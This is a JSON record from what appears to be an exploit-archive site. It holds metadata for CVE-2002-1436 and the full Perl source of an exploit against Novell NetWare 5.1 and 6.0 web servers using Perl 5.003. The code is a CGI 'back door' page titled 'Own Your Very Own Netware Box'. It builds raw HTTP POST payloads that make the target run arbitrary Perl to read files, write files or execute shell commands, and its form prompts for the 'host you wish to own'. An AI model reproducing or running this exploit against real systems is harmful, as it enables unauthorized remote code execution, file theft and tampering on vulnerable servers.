{"exploit":{"id":"EDB-21731","name":"Novell NetWare 5.1/6.0 - POST Arbitrary Perl Code Execution","description":"Novell NetWare 5.1/6.0 - POST Arbitrary Perl Code Execution","cves":["CVE-2002-1436"],"author":"Dan Elder","published":"2002-08-20","platform":"novell","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21731","path":"exploits/novell/remote/21731.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21731.pl","vulnerabilities":[{"id":"CVE-2002-1436","state":"PUBLISHED","title":null,"titleSource":null,"description":"The web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary Perl code via an HTTP POST request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-1436","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-1436"},"updatedAt":"2024-08-08T03:26:28.297Z","retrievedAt":"2026-11-27T07:11:40.977Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21731.png?v=2","url":"https://exploitbin.com/exploits/EDB-21731","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21731/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21731/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/5520/info\n\n# A vulnerability has been reported in some versions of Novell NetWare. This issue lies in the handling of some HTTP requests when Perl is used as a handler by a web server.\n\n# Reportedly, it is possible for an attacker to execute arbitrary Perl code. Full technical details are not currently available.\n\n# This issue has been reported in versions of NetWare using Perl 5.003. Reportedly, systems with Perl 5.6 installed are not vulnerable to this issue.\n\n\n# Copyright (c) 2002 Novacoast International (DElder@novacoast.com)\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n# Special thanks to Rain Forest Puppy (RFP) for coming up with this\n# exploit in the first place\n\n# Works against versions\n# Novell Netware 5.1 SP4\n# Novell Netware 5.1\n# Novell Netware 6.0 SP1\n# Novell Netware 6.0\n#\n# See full anouncement at\n# http://online.securityfocus.com/bid/5520\n#\n#\n# To use this cgi, drop it on a webserver and point it at the\n# netware box you want to test.  If you get output,  it works.\n\nuse IO::Socket;\nuse CGI qw(:standard);\nuse CGI::Carp 'fatalsToBrowser';\nuse Sys::Hostname;\n$CGI::POST_MAX        = 1024 * 100;    # max 100K posts\n$CGI::DISABLE_UPLOADS = 1;             # no uploads\n$hostname             = hostname();    # Should automagically detect hostname\n$scriptname = url();    # Should automagically detect the url to the cgi\n\n$full = 0; # Set to 1 if you want more acces to a box\n\n$proto = 'tcp';\n\n$cgi = new CGI;\n\nprint $cgi->header;\nprint $cgi->start_html\n(\n -title=>'Novacoast Netware Back Door',\n -author=>'delder\\@novacoast.com',\n -meta=>{'keywords'=>'Netware Webserver Compromise Novacoast RFP'}\n);\n\nprint $cgi->center($cgi->h1('Own Your Very Own Netware Box'));\nprint $cgi->h2('Courtesy of RFP and Novacoast');\n\nprint $cgi->hr;\n\n#print $cgi->p(\"Running on host $hostname as script $scriptname\");\n\nif($cgi->param()) {\n  $hostname = $cgi->param('hostname');\n  $port = $cgi->param('port');\n  $operation = $cgi->param('operation');\n  $filename = $cgi->param('filename');\n  $input = $cgi->param('input');\n\n  if($full == 0) {\n    $operation = \"Read a file\";\n    $filename = \"/etc/hosts\";\n  }\n  else {\n\n    # Creat appropriate payload depending on operation\n    if($operation eq \"Execute Command\")\n      {\n\t# This is currently untested. If you have a netware box\n\t# let us know if this works or not\n\t$command = \"\\$output = \\`$input\\`; print \\$output;\";\n      }\n    elsif($operation eq \"Read a file\")\n      {\n\t$command = \"open( IN, \\'< $filename\\') || die \\\"Cant read $filename : \\$\\!\\\"; while(<IN>) {print \\$_}; close(IN);\"\n      }\n    elsif($operation eq \"Write to a file\")\n      {\n\t$command = \"open( OUT, \\'> $filename\\') or die \\\"Cannot write $filename : \\$\\!\\\"; print OUT \\\"$input\\\"; close OUT;\";\n      }\n    else {\n      die \"How did you get here?\";\n    }\n  }\n\n\n  $payload = armor_command($command);\n\n  print $cgi->p(\"Sending the following paylod: \\\"$payload\\\"\");\n\n  # Open connection to sepcified host\n  $handle = IO::Socket::INET->new\n  (\n   PeerAddr => $hostname,\n   PeerPort => $port,\n   Proto    => $proto\n  ) || print $cgi->p(\"<p>Couldn't connect to $hostname on port $port, try again sucka: $!</p>\");\n\n  print $handle $payload;\n\n  my $response = \"\";\n  while (<$handle>) {$response .= $_;}\n\n  close $handle;\n\n  $_ = $response;\n\n  s/\\n/<\\/p\\><p>/g;\n\n  if(/daddy/) {\n\n    if( $full == 1 ) {\n      print $cgi->p(\"Server resonded with: </p><p> \\\"$_\\\"\");\n    }\n    else {\n      print $cgi->p(\"Servers /etc/hosts file is: </p><p> \\\"$_\\\"\");\n    }\n  }\n\n  else {\n    print $cgi->p(\"The server appears to be unaffected\");\n  }\n}\n\nelse {\n\n  # If your cgi keeps redirecting to the wrong page\n  # try changing the action to $hostname/$scriptname\n  # or something like that.  Perl can do wacky things to you\n  print $cgi->startform(\n\t\t\t-method=>'POST',\n\t\t\t-action=>\"$scriptname\"\n\t\t       );\n\n  print $cgi->p(\"What host do you wish to own:\");\n  print $cgi->textfield('hostname');\n\n  print $cgi->p(\"What port do you wish to connect to:\");\n  print $cgi->textfield(\n\t\t\t-name=>'port',\n\t\t\t-default=>'80'\n\t\t       );\n\n  if($full == 1) {\n\n    print $cgi->p(\"Operation you wish to perform:\");\n    print $cgi->popup_menu\n      (\n       -name=>'operation',\n       -values=>['Read a file','Write to a file'], #,'Execute Command'],\n       -default=>'Read a file'\n      );\n\n    print $cgi->p(\"Filename:\");\n    print $cgi->textfield(\n\t\t\t  -name=>'filename',\n\t\t\t  -default=>'/etc/hosts'\n\t\t\t );\n\n    print $cgi->p(\"Text to input in file:\");\n    print $cgi->textarea\n      (\n       -name=>'input',\n       -rows=>15,\n       -columns=>60\n      );\n  }\n\n  print $cgi->center(\n\t       $cgi->submit,\n\t       $cgi->reset,\n\t      );\n  print $cgi->hr;\n  print $cgi->endform;\n  print $cgi->end_html;\n\n}\n\n\n# Adds HTTP headers and caluclates the number of chars used\n# in the command and returns the HTTP payload\n#\n# $_[0]   ->  The command to be executed\n#\n# Returns ->  HTTP armored version of command\n\nsub armor_command\n  {\n    $header = \"POST /perl/ HTTP/1.0\nContent-Type: application/octet-stream\nContent-Length:\";\n\n    $output_type = \"print \\\"Content-type: text/html\\n\\nWhos your daddy\\n\\\";\";\n    my $size = length($output_type);\n\n    $command = $_[0];\n    $size += length($command);\n\n    $output = \"$header $size\\n\\n$output_type $command\";\n\n    return $output;\n  }","sha256":"ab1b423c0dea9ddcccca7ef30c38130c83248ff7872c6c53699a756efc13cb6e","bytes":5991,"fetchedAt":"2026-11-27T07:11:36.099Z","encoding":"utf-8 (display only; download retains original bytes)"}